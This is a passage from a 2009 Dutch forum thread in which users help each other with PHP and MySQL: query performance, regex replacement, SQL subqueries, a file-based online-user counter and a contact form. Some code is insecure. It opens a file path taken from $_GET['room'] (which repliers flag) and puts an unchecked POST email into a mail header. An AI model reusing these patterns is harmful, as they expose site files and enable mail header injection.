    Per geval kun je nadenken wat je het beste kunt doen. Soms valt de query iets te herschrijven. Hier is dat niet mogelijk, dus zul je het resultaat moeten cachen.
    Deze query gaat er bij een wat grotere dataset seconden over doen (benchmark: 60+ seconden bij 30k reacties) en dat is onacceptabel. MySQL kan hem slecht cachen omdat de reactietabel vaak geüpdatet wordt. Dus dan moet je applicatie maar helpen.
    Als je 30k reacties hebt en je query heeft 60+ seconden nodig, dan staan je indices niet goed. Misschien moet je ook de query zelf aanpassen, maar goed geplaatste indices doen heel veel.
      woensdag 25 maart 2009 @ 13:38:03 #115
    75592 GlowMouse
    l'état, c'est moi
    pi_67390901
    quote:
    Op woensdag 25 maart 2009 13:12 schreef Tuvai.net het volgende:
    Sowieso is je voorbeeld erg overdreven. Op iets eenvoudigs als een reactie-tabel, kun je toch snelle queries draaien waar subqueries in zitten. Sowieso haal je in geval van reacties altijd maar een bepaald aantal op (hee, LIMIT ), en zit er in die reactie-tabel een veld dat verwijst naar de bovenliggende tabel (hee, een INDEX ). Als er honderdduizenden records in die reactie tabel zitten dan zal die ietsjes langzamer zijn dan wanneer er maar 10 records in zitten, maar 60+ seconden? Kom op zeg.
    Je hebt gelijk, subquery met LIMIT en een tweetal indices doet wonderen hier. Blijft een relatief langzame query, maar het is nu te overzien (paar honderdsten van een seconde, afhankelijk van waar de laatste reacties geplaatst zijn).
    quote:
    Ik geef je eens een ander voorbeeld. Stel je hebt een webshop met rubrieken. Die rubrieken zijn dusdanig opgezet dat je onbeperkt diep child-rubrieken kunt aanmaken onder bestaande rubrieken. Van elke rubriek wil je het actuele aantal producten in diezelfde rubriek en diens onderliggende rubrieken hebben. Hoe zou jij dat oplossen?
    Extra veld in de rubriektabel.
    eee7a201261dfdad9fdfe74277d27e68890cf0a220f41425870f2ca26e0521b0
    pi_67391270
    quote:
    Op woensdag 25 maart 2009 13:38 schreef GlowMouse het volgende:
    Je hebt gelijk, subquery met LIMIT en een tweetal indices doet wonderen hier. Blijft een relatief langzame query, maar het is nu te overzien (paar honderdsten van een seconde, afhankelijk van waar de laatste reacties geplaatst zijn).
    Zo 'relatief' langzaam dat de gebruiker er niks van merkt. Ook in geval van honderdduizenden records niet. Die paar milliseconden op zo veel records zijn verwaarloosbaar, vooral als dat de schaalbaarheid, overzichtelijkheid en flexibiliteit van de broncode ten goede doet.
    quote:
    Op woensdag 25 maart 2009 13:38 schreef GlowMouse het volgende:
    Extra veld in de rubriektabel.
    Dus elke keer wanneer een product toegevoegd of verwijdert wordt ga je alle rubrieken (en subrubrieken, en diens subrubrieken, enz) nalopen, het aantal producten in die rubriek (en subrubrieken, en diens subrubrieken) met een COUNT(*) ophalen en die waarde wegschrijven? Waar leg je die functionaliteit en hoe doe je dat dan?

    Een mogelijke situatie:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    - A
    - - A A
    - - - A A A
    - - - A A B
    - - - A A C
    - - A B
    - - - A B A
    - - - A B B
    - - - A B C
    - - A C
    - - - A C A
    - - - A C B
    - - - A C C
    - - A D
    - - - A D A
    - - - A D B
    - - - A D C
    - - A E
    - - - A E A
    - - - A E B
    - - - A E C
    - - A F
    - - - A G A
    - - - A G B
    - - - A G C


    Stel je verwijdert een product in rubriek '- - - A E C', dan zal het productaantal van rubriek '- A' ook actueel moeten worden. Erg veel COUNT(*) query`tjes zeg.

    Wat doe je overigens als een DBA in 'geval van nood' een product via de database moet verwijderen of 'recoveren'?
    pi_67391661
    Vraagje, hoe kan ik binnen een grote tekst binnen bepaalde elementen iets wijzigen?

    stel ik heb de volgende tekst

    <table>
    <tr>
    <td>{=test}</td>
    <td>{te=st}</td>
    <td>{test=}</td>
    </tr>

    Nu wil ik deze data alles tussen de {} filteren en de = verwijderen... hoe kan ik dit doen?
    The people who lost my respect will never get a capital letter for their name again.
    Like trump...
    pi_67391828
    Regex om de inhoud van alle {} te vinden en daar vervolgens je filter op loslaten
    pi_67392090
    Tja dat kan ook, maar hoopte eingelijk op een simpele preg_replace.

    Leek mij namelijk sneller.

    Het filteren van alle {*} is idd wel te doen maar nogmaals had liever een preg_replace die het allemaal in 1x deed
    The people who lost my respect will never get a capital letter for their name again.
    Like trump...
      woensdag 25 maart 2009 @ 14:24:20 #120
    187069 slacker_nl
    Sicko pur sang
    pi_67392522
    Beetje simpele variant, kan volgens mij wel mooier:


    1
    2
    3
    4
    5
    6
    7
    8
    9
    <?php
    $lines 
    = array("<td>{=test}</td>""<td>{te=st}</td>""<td>{test=}</td>");

    $regexp '/(\{)(\w+)?=?(\w+)?(\})/';

    foreach (
    $lines as $v) {
        print 
    preg_replace($regexp'\1\2\3\4'$v);
    }
    ?>


    [ Bericht 0% gewijzigd door slacker_nl op 25-03-2009 14:36:59 ]
    In theory there is no difference between theory and practice. In practice there is.
      woensdag 25 maart 2009 @ 17:47:49 #121
    75592 GlowMouse
    l'état, c'est moi
    pi_67400457
    quote:
    Op woensdag 25 maart 2009 13:48 schreef Tuvai.net het volgende:
    Stel je verwijdert een product in rubriek '- - - A E C', dan zal het productaantal van rubriek '- A' ook actueel moeten worden. Erg veel COUNT(*) query`tjes zeg.
    Beter bij het updaten dan bij het opvragen. Bij een webwinkel gebeurt dat laatste veel vaker. En als je voor je site die getallen veel nodig hebt, dan ga je denormaliseren. Gebeurt ook veel in fora, bijvoorbeeld de berichtenteller, zie phpbb, zie vbulletin, zie myreact.
    quote:
    Wat doe je overigens als een DBA in 'geval van nood' een product via de database moet verwijderen of 'recoveren'?
    Dan bouw je een knop in waarmee alle tellers opnieuw berekend worden.
    Mooie code is niet altijd het criterium.
    eee7a201261dfdad9fdfe74277d27e68890cf0a220f41425870f2ca26e0521b0
    pi_67402076
    quote:
    Op woensdag 25 maart 2009 17:47 schreef GlowMouse het volgende:
    Mooie code is niet altijd het criterium.
    Nee, maar jouw methode houdt wel in dat je op gigantisch veel plekken in je applicatie herhaaldelijke en overbodige code gaat neer plempen. Je hebt producten die besteld worden (en dus in aantal krimpen), beheermodules waar producten toegevoegd en verwijderd kunnen worden, en tig andere situaties die de aantallen in kwestie beïnvloeden en waar jij dus in je broncode stukjes voor moet gaan plaatsen om die aantallen bij te houden. Nog even afgezien van het feit dat DBA`ers 'in geval van nood' (recovery) of uit pure gemakszucht ook nog wel eens zo je database in gaan om e.e.a. aan te passen, buiten de applicatie om. Ja, je kunt een knopje maken waarmee je wederom wéér letterlijk alles na moet gaan lopen (dus ook de rubrieken die niet ter sprake zijn) en berekenen, maar da's ook niet echt lekker voor daadwerkelijk actuele cijfers (want hoe vaak moet jij deze zware functie niet gaan uitvoeren om je cijfers daadwerlelijk actueel te houden? ) en de databaseperformance die jij zo belangrijk vindt.

    Dan doe mij maar de berekening bij het opvragen. Dan leg je die (recursieve) functie in de database neer en hoef je dat aantal enkel uit te lezen en weer te geven in je code. Het hele gebeuren staat op één plek, is in geval van wijzigingen in de databasestructuur eenvoudig en snel aan te passen en is altijd, hoe dan ook, actueel. Het betreft eenvoudige COUNT()s, dus waar hébben we het over qua performanceverlies indien dit bij het opvragen gebeurt?

    Database-optimalisatie vind ik net zoals jezelf heel belangrijk, maar gigantisch omslachtige en misplaatste methodes gaan toepassen voor een verwaarloosbaar stukje performancewinst van een paar milliseconden, is maar mijn mening gewoon debiel. Heeft wat mij betreft iets weg van fetisjisme ("Databaseperformance hoog in het vaandel houden, de rest kan wat mij betreft stikken!").

    [ Bericht 0% gewijzigd door Tuvai.net op 25-03-2009 18:41:10 ]
      woensdag 25 maart 2009 @ 18:50:33 #123
    56176 Catch22-
    Ben je Blind?!
    pi_67402588
    je zit er wel mee dat in een grote site/webshop je niet meer zit met een tabel producten en een tabel categorieen.

    We zijn op het werk met een shop bezig, maar je kan echt niet zomaar 100 counts per request gaan doen, dan komt het niet goed (en helemaal niet als je naar schaalbaarheid kijkt)
    Heel veel groetjes, Catch22
    En zoals mijn opa zei: "Al is het meisje nog zo mooi, haar poep stinkt ook". Rust Zacht opa..
    Met GHB nooit meer nee
    Storneren een optie?
    pi_67405994
    hallo ik krijg iets niet voor elkaar..

    ik wil namelijk $_GET['room'] ipv van de 101 hebben in het volgende stukje
    1
    2
    3
    <?php
    $fp 
    fopen ("online/room101.txt","r+");
    ?>

    alleen als ik dat doe krijg ik steeds een foutmelding.
    weet iemand hoe dat moet?
    dit ga ik nog even aan de binnekant van mij ogen bekijken
    pi_67406284
    Post de code eens die de fout geeft zou ik zeggen
    pi_67406638
    ik krijg deze foutmelding

    Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE, expecting T_STRING or T_VARIABLE or T_NUM_STRING in /usr/home/XXXX/domains/XXXX.nl/public_html/online.php on line 21

    bij deze code:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title>online</title>
    <META HTTP-EQUIV="refresh" CONTENT="5">
    </head>

    <body>

    <?
    //simple user's online script

       $ip = $_SERVER['REMOTE_ADDR'];
       $time = time();
       $cutoff = 15; //online cut of time
       $exists = 0;
       $users = 0;
       $user  = "";

          $fp = fopen ("online/room$_GET['room'].txt","r+"); //if the file exists open it


          while (!feof($fp))
          {
          $user[] = chop(fgets($fp,65536));
          }
          fseek($fp,0,SEEK_SET);


          foreach ($user as $line)
          {
          list($oldip,$oldtime) = explode('|',$line);
          if ($oldip == $ip) {$oldtime = $time;$exists = 1;} //check to see if the user is already in the text file
          if ($time < $oldtime + ($cutoff * 60)) //see if the last time the user visited is past the cut off time
          {
          fputs($fp,"$oldip|$oldtime\n"); //write the old data to the text file
          $users = $users + 1; // add one to the user count
          }
          }


          if ($exists == 0) //if the user isn't in the text file already:
          {
          fputs($fp,"$ip|$time\n"); //write the new data to the text file
          $users = $users + 1; //add one to the user count
          }


          fclose ($fp); //close the text file
          print "$users"; //display the number of users online

    ?>

    </body>
    </html>


    ik wil het dus zo hebben http://domein.nl/online.php?room=101
    zodat ik niet voor elke room een nieuwe online.php hoef te maken
    dit ga ik nog even aan de binnekant van mij ogen bekijken
    pi_67407031
    quote:
    Op woensdag 25 maart 2009 08:30 schreef Roy_T het volgende:

    [..]

    En welk idee is dat?

    poeh hé hoe ga ik dat uitleggen (niet mijn sterkste eigenschap )

    Ik heb een "hoeveel mensen zijn online script" en die schrijft om de zoveel sec in een text file als iemand de chat pagina open heeft die de inframe van de chat bevat.
    En het script kijkt dan wanner die voor het laatst is aangepast.
    het is iets langzamer, maar het werkt wel goed
    dit ga ik nog even aan de binnekant van mij ogen bekijken
    pi_67407074
    Je code is zo insecure als de pest, maar { en } om $_GET['room'] lost het op
    pi_67407379
    quote:
    Op woensdag 25 maart 2009 20:46 schreef Roy_T het volgende:
    Je code is zo insecure als de pest, maar { en } om $_GET['room'] lost het op
    YES het werkt
    Thnx voor de snelle reactie, maar hoe bedoel je insecure?
    Ik hoef daar toch alleen rekening mee te houden als ik een database gebruik?
    Die gebruik ik nog niet omdat ik nog niet weet hoe.
    dit ga ik nog even aan de binnekant van mij ogen bekijken
    pi_67408629
    quote:
    Op woensdag 25 maart 2009 20:53 schreef bassiedekloon het volgende:

    [..]

    YES het werkt
    Thnx voor de snelle reactie, maar hoe bedoel je insecure?
    Ik hoef daar toch alleen rekening mee te houden als ik een database gebruik?
    Die gebruik ik nog niet omdat ik nog niet weet hoe.
    Het is in principe mogelijk met dat script iedere willekeurige tekstfile te lezen. (Het besturingssysteem kan nog wel beperkingen opleggen, maar iemand anders kan die rechten ook weer aanpassen. Daar moet je dus niet op vertrouwen.)
    Daarbij heb je een gegarandeerde runtime error als het tekstbestand niet bestaat.
      woensdag 25 maart 2009 @ 22:02:24 #131
    56176 Catch22-
    Ben je Blind?!
    pi_67410269
    eerst ff een file_exists op de gevraagde filename doen dus
    Heel veel groetjes, Catch22
    En zoals mijn opa zei: "Al is het meisje nog zo mooi, haar poep stinkt ook". Rust Zacht opa..
    Met GHB nooit meer nee
    Storneren een optie?
    pi_67410542
    quote:
    Op woensdag 25 maart 2009 22:02 schreef Catch22- het volgende:
    eerst ff een file_exists op de gevraagde filename doen dus
    Kan. Maar fopen() geeft ook gewoon false terug als het bestand niet bestaat.
    pi_67410805
    quote:
    Op woensdag 25 maart 2009 22:07 schreef Light het volgende:

    [..]

    Kan. Maar fopen() geeft ook gewoon false terug als het bestand niet bestaat.
    @ voor de functie aanroep,niet echt een nette oplossing,maar het kan...
    als het inderdaad een False terug geeft (niet gecontroleerd) kun je ook iets doen als
    1
    2
    if(fopen($file))
    { spul }

    maar veiligheid blijft dan nog steeds een probleempje.
    Vooral dat wat hier boven staat.
      woensdag 25 maart 2009 @ 22:12:59 #134
    56176 Catch22-
    Ben je Blind?!
    pi_67410808
    ja dat klopt, maar dan ziet je gebruikt gewoon niets. dus ik zou het ff afvangen, kan je evt een foutmelding ook terugkoppelen

    of een fallback openen
    Heel veel groetjes, Catch22
    En zoals mijn opa zei: "Al is het meisje nog zo mooi, haar poep stinkt ook". Rust Zacht opa..
    Met GHB nooit meer nee
    Storneren een optie?
    pi_67418772
    quote:
    Op woensdag 25 maart 2009 14:24 schreef slacker_nl het volgende:
    Beetje simpele variant, kan volgens mij wel mooier:
    [ code verwijderd ]
    Ik zal deze vandaag eens testen ziet er best handig uit!
    The people who lost my respect will never get a capital letter for their name again.
    Like trump...
    pi_67421772
    quote:
    Op dinsdag 24 maart 2009 16:22 schreef Tuvai.net het volgende:
    Voorbeeldje om namen op te halen van mensen die gespecialiseerd zijn in OperatingSystem Windows:
    [ code verwijderd ]

    OF
    [ code verwijderd ]

    Kort samengevat: Met een LEFT OUTER JOIN ga je vanuit de 'diepere' tabel werken, met RIGHT OUTER JOIN ga je vanuit de bovenliggende tabel werken. Voor de rest is het in jouw geval simpelweg met de WHERE clausule spelen om de goede filtering toe te passen.
    Ok, cool, werkt goed, maar nu wil ik mijn zoekopdracht meer specificeren, dus: mensen die gespecialiseerd zijn in operating system windows of mac en in programming language PHP of ASP.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    SELECT
        w.name
    FROM
        werknemer w RIGHT OUTER JOIN
            specialiteiten s ON s.werknemer_id = w.id
    WHERE
        s.specialiteit_naam = 'OperatingSystems' AND
        s.waarde IN ('MAC', 'Windows')
        AND
        s.specialiteit_naam = 'ProgrammingLanguage' AND
        s.waarde IN ('PHP', 'ASP')
    ;


    Hoe doe ik dat dan?
    Amsterdam, stad van hash en coke,
    Waar de vrouwen zich vrouwelijk gedragen..
    En de mannen ook..
    pi_67422450
    quote:
    Op donderdag 26 maart 2009 10:27 schreef markiemark het volgende:

    [..]

    Ok, cool, werkt goed, maar nu wil ik mijn zoekopdracht meer specificeren, dus: mensen die gespecialiseerd zijn in operating system windows of mac en in programming language PHP of ASP.
    [ code verwijderd ]

    Hoe doe ik dat dan?
    Dan zul je toch e.e.a. met de WHERE clausule moeten goochelen, je statements met AND / OR aanvullen en eventueel in aparte 'blokjes' zetten, voorbeeld:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    SELECT
        w.name
    FROM
        werknemer w RIGHT OUTER JOIN
            specialiteiten s ON s.werknemer_id = w.id
    WHERE
        (
            s.specialiteit_naam = 'OperatingSystems' AND
            (
                s.waarde = 'MAC' OR s.waarde = 'Windows'
            )
        )
        AND
        (
            s.specialiteit_naam = 'ProgrammingLanguage' AND
            (
                s.waarde = 'PHP' OR s.waarde = 'ASP'
            )
        )
    pi_67423207
    quote:
    Op donderdag 26 maart 2009 10:52 schreef Tuvai.net het volgende:

    [..]

    Dan zul je toch e.e.a. met de WHERE clausule moeten goochelen, je statements met AND / OR aanvullen en eventueel in aparte 'blokjes' zetten, voorbeeld:
    [ code verwijderd ]

    Nope helaas.. 0 results returned..


    Zo doet ie het wel, maar weer de kwestie dat ik meer wil specificeren.. (Programming Lanugage.. )
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    SELECT
        w.name
    FROM
        werknemer w RIGHT OUTER JOIN
            specialiteiten s ON s.werknemer_id = w.id
    WHERE
        (
            s.specialiteit_naam = 'OperatingSystems' AND
            (
                s.waarde = 'MAC' OR s.waarde = 'Windows'
            )
        )
    Amsterdam, stad van hash en coke,
    Waar de vrouwen zich vrouwelijk gedragen..
    En de mannen ook..
    pi_67423447
    EDIT: Ah klopt, ik had er even geen rekening mee gehouden dat het over een one-to-many tabel ging. Je selecteert in dit geval immers elke keer een losse 'specialiteiten' record. Je zult vrees ik toch e.e.a. met subqueries moeten doen.
    pi_67423641
    quote:
    Op donderdag 26 maart 2009 11:27 schreef Tuvai.net het volgende:
    EDIT: Ah klopt, ik had er even geen rekening mee gehouden dat het over een one-to-many tabel ging. Je selecteert in dit geval immers elke keer een losse 'specialiteiten' record. Je zult vrees ik toch e.e.a. met subqueries moeten doen.
    Kun je een tipje van de sluier oplichten wat betreft subqueries?
    Amsterdam, stad van hash en coke,
    Waar de vrouwen zich vrouwelijk gedragen..
    En de mannen ook..
    pi_67424017
    Iets in de trant van:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    SELECT
        w.naam
    FROM
        werknemer w
    WHERE
        (
            SELECT
                COUNT(*)
            FROM
                specialiteiten s
            WHERE
                s.werknemer_id = w.id AND
                s.specialiteit_naam = 'OperatingSystems' AND
                s.waarde IN ('MAC', 'Windows')
        ) > 0 AND
        (
            SELECT
                COUNT(*)
            FROM
                specialiteiten s
            WHERE
                s.werknemer_id = w.id AND
                s.specialiteit_naam = 'ProgrammingLanguages' AND
                s.waarde IN ('PHP', 'ASP')
        ) > 0


    Niet de mooitste query, maar ik kan op dit moment even niets beters verzinnen.
    pi_67425050
    Die kan je ook samenvoegen:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    SELECT
        w.naam
    FROM
        werknemer w
    WHERE
        (
            SELECT COUNT(*)
            FROM
                specialiteiten s
            WHERE
                s.werknemer_id = w.id 
                AND 
                ( 
                   (s.specialiteit_naam = 'OperatingSystems' AND s.waarde IN ('MAC', 'Windows'))
                   OR (s.specialiteit_naam = 'ProgrammingLanguages' AND s.waarde IN ('PHP', 'ASP'))
                )
        ) = 2
    Wil iedereen die in telekinese gelooft nu mijn hand op steken?
    | Foto's van toen en nu | Icons | Whatpulse keyboard | .NET developer? |
    pi_67425787
    Ik heb waarschijnlijk een hele domme vraag, maar ben nu al een poosje op zoek en weet niet hoe ik t kan oplossen.

    Maar ik heb een contact formulier op mn site geplaatst, welke dan netjes een mailtje naar mij stuurt. Als ik op verzenden klik opent die een nieuw leeg scherm. Terwijl ik eigenlijk wil dat die de pagina vervangt door de pagina waarop ik ze bedankt voor het invullen. Hier de codes van mn site en de PHP file:


    HTML
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    <?php
    <FORM METHOD="post" ACTION="mail.php">

    <
    INPUT TYPE="hidden" NAME="to" VALUE="naam@domein.com">
    <
    p>
    <
    INPUT TYPE="hidden" NAME="subject" VALUE="Voorbeeldformulier Handleiding HTML">
    <
    strong>Naam*:</strong>
    <
    br><INPUT NAME="name" SIZE="45">
    <
    br><strong>E-mail adres*:</strong>
    <
    br><INPUT NAME="email" SIZE="45">
    <
    br><strong>Telefoonnummer*:</strong>
    <
    br><INPUT NAME="phone" SIZE="45">
    <
    br><strong>Bericht/vraag:</strong>
    <
    br><INPUT TYPE="hidden" NAME="required_fields" VALUE="name, from, phone">

    <
    TEXTAREA NAME="message" ROWS="3" COLS="45"></TEXTAREA>
    <
    br> <img class="rde_img_smiley" src="http://i.fok.nl/s/shiny.gif" width="15" height="15" alt="" /> svp invullen
    <br><br>
    <
    INPUT TYPE="reset" VALUE="Verwijder invoer">

    <
    INPUT TYPE="submit" VALUE="Verzend gegevens">
    </
    p>

    </
    FORM>
    ?>


    PHP
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    <?php
    $name
    =$_POST['name'];
    $email=$_POST['email'];
    $phone=$_POST['phone'];
    $message=$_POST['message'];

    $ToEmail "naam@domein.com";
    $ToSubject "Contact Form from domein.com";

    $EmailBody =   "Name: $name\n 
    Email: $email\n
    Phone: $phone\n
    Message: $message\n"
    ;

    $Message $EmailBody;


    $headers .= "Content-type: text; charset=iso-8859-1\r\n";
    $headers .= "From:".$email."\r\n";

    mail($ToEmail,$ToSubject,$Message$headers);

    header"Location: contact2.html" );
    ?>


    Misschien dat iemand mij kan vertellen wat ik fout heb gedaan, of dat ik een compleet verkeerde manier gebruikt heb.

    Ze staan beide gewoon op de server, het contact formulier opzich werkt.
    "Do me a favor, try not to think, you're going to hurt yourself"
    "You go to heaven for the climate and hell for the company"
    pi_67426393
    header( "Location: contact2.html" ); geeft aan waar je heen wilt gaan nadat de mail gestuurd is.
    pi_67426772
    klopt, maar dat gebeurt dus niet

    edit - sorry, het werkt wel, blijkbaar had ik nog niet de laatste versie ge-upload
    "Do me a favor, try not to think, you're going to hurt yourself"
    "You go to heaven for the climate and hell for the company"
    pi_67426929
    quote:
    Op donderdag 26 maart 2009 12:13 schreef SuperRembo het volgende:
    Die kan je ook samenvoegen:
    [ code verwijderd ]


    EDIT: snap hem al...
    Maar, query duurt ontzettend lang... Lijkt wel of ie in oneindige loop zit..


    [ Bericht 36% gewijzigd door markiemark op 26-03-2009 13:17:58 ]
    Amsterdam, stad van hash en coke,
    Waar de vrouwen zich vrouwelijk gedragen..
    En de mannen ook..
    pi_67427689
    quote:
    Op donderdag 26 maart 2009 13:05 schreef markiemark het volgende:

    [..]

    Kan ik daar ook dit van maken?
    [ code verwijderd ]

    * AND ipv OR
    Ik denk dat er niet veel regels zijn waarbij specialiteit_naam = 'OperatingSystems' en specialiteit_naam = 'ProgrammingLanguages' is.
    Wil iedereen die in telekinese gelooft nu mijn hand op steken?
    | Foto's van toen en nu | Icons | Whatpulse keyboard | .NET developer? |
    pi_67427738
    quote:
    Op donderdag 26 maart 2009 13:26 schreef SuperRembo het volgende:

    [..]

    Ik denk dat er niet veel regels zijn waarbij specialiteit_naam = 'OperatingSystems' en specialiteit_naam = 'ProgrammingLanguages' is.
    Hehe nee ik snap hem al..
    Je geeft denk ik een goede oplossing voor mij, maar mijn mysql server lijkt het niet te slikken...
    Amsterdam, stad van hash en coke,
    Waar de vrouwen zich vrouwelijk gedragen..
    En de mannen ook..
    pi_67428173
    quote:
    Op donderdag 26 maart 2009 13:27 schreef markiemark het volgende:

    [..]

    Hehe nee ik snap hem al..
    Je geeft denk ik een goede oplossing voor mij, maar mijn mysql server lijkt het niet te slikken...
    Ik heb hem gelimit op 5, en dat duurt 6 seconden... Hoe kan dat?
    Amsterdam, stad van hash en coke,
    Waar de vrouwen zich vrouwelijk gedragen..
    En de mannen ook..
    pi_67431656
    explain <yoursqlcode> en dan kijken wat de uitvoer is
    The people who lost my respect will never get a capital letter for their name again.
    Like trump...
    abonnement Unibet Coolblue Bitvavo
    Forum Opties
    Forumhop:
    Hop naar:
    (afkorting, bv 'KLB')